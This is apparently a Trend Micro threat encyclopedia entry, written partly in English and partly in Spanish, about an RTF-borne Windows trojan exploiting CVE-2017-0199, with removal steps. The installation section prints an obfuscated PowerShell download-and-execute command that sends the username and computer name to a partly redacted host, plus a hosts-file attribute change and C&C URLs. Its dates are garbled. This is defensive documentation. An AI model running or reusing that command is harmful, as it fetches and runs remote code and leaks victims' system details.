Author: Jemimah Mae Molina   
 PLATFORM:

Windows

 OVER ALL RISK RATING:
 DAMAGE POTENTIAL::
 DISTRIBUTION POTENTIAL::
 REPORTED INFECTION:
 INFORMATION EXPOSURE:
Low
Medium
High
Critical

  • Threat Type:
    Trojan

  • Destructiveness:
    No

  • Encrypted:
    Yes

  • In the wild::
    Yes

  OVERVIEW

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File size: 42,424 bytes
File type: RTF
Memory resident: Yes
INITIAL SAMPLES RECEIVED DATE: 10 de апреля de 2020

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Agrega los procesos siguientes:

  • powershell IE`x(Ne`w-Obj`ect Net.WebC`lient).DownLoadString('http://t.aw{BLOCKED}.com/mail.jsp?dde*{username}*{computername}')
  • attrib -R %System%\drivers\etc\hosts

Otros detalles

Hace lo siguiente:

  • It connects to the following URLs to download and execute a malicious code in memory:
    • http://t.aw{BLOCKED}.com/mail.jsp?dde*{username}*{computername}
    • http://t.tr{BLOCKED}.com/x.js
    • http://t.aw{BLOCKED}.com/x.js
    • http://t.am{BLOCKED}.com/x.js
    • http://{random characters}.cn/w.js
    • http://{random characters}.jp/w.js
    • http://{random characters}.kr/w.js
  • It deletes the following scheduled tasks:
    • Rtsa2
    • Rtsa1
    • Rtsa
  • It overwrites the Windows HOSTS file to redirect the following URLs to its C&C servers:
    • {random characters}.cn
    • {random characters}.jp
    • {random characters}.kr

  SOLUTION

Minimum scan engine: 9.850
First VSAPI Pattern File: 15.796.07
First VSAPI Pattern Release Date: 10 de апреля de 2020
VSAPI OPR PATTERN-VERSION: 15.797.00
VSAPI OPR PATTERN DATE: 10 de апреля de 2020

Step 1

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:  

  • MicroSoft\Windows\{random characters} - powershell PS_CMD
  • {random characters}\{random characters} - powershell PS_CMD
  • \{random characters} - powershell PS_CMD
  • bluetea - bluetea

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 4

Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Trojan.W97M.CVE20170199.PFSK En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.


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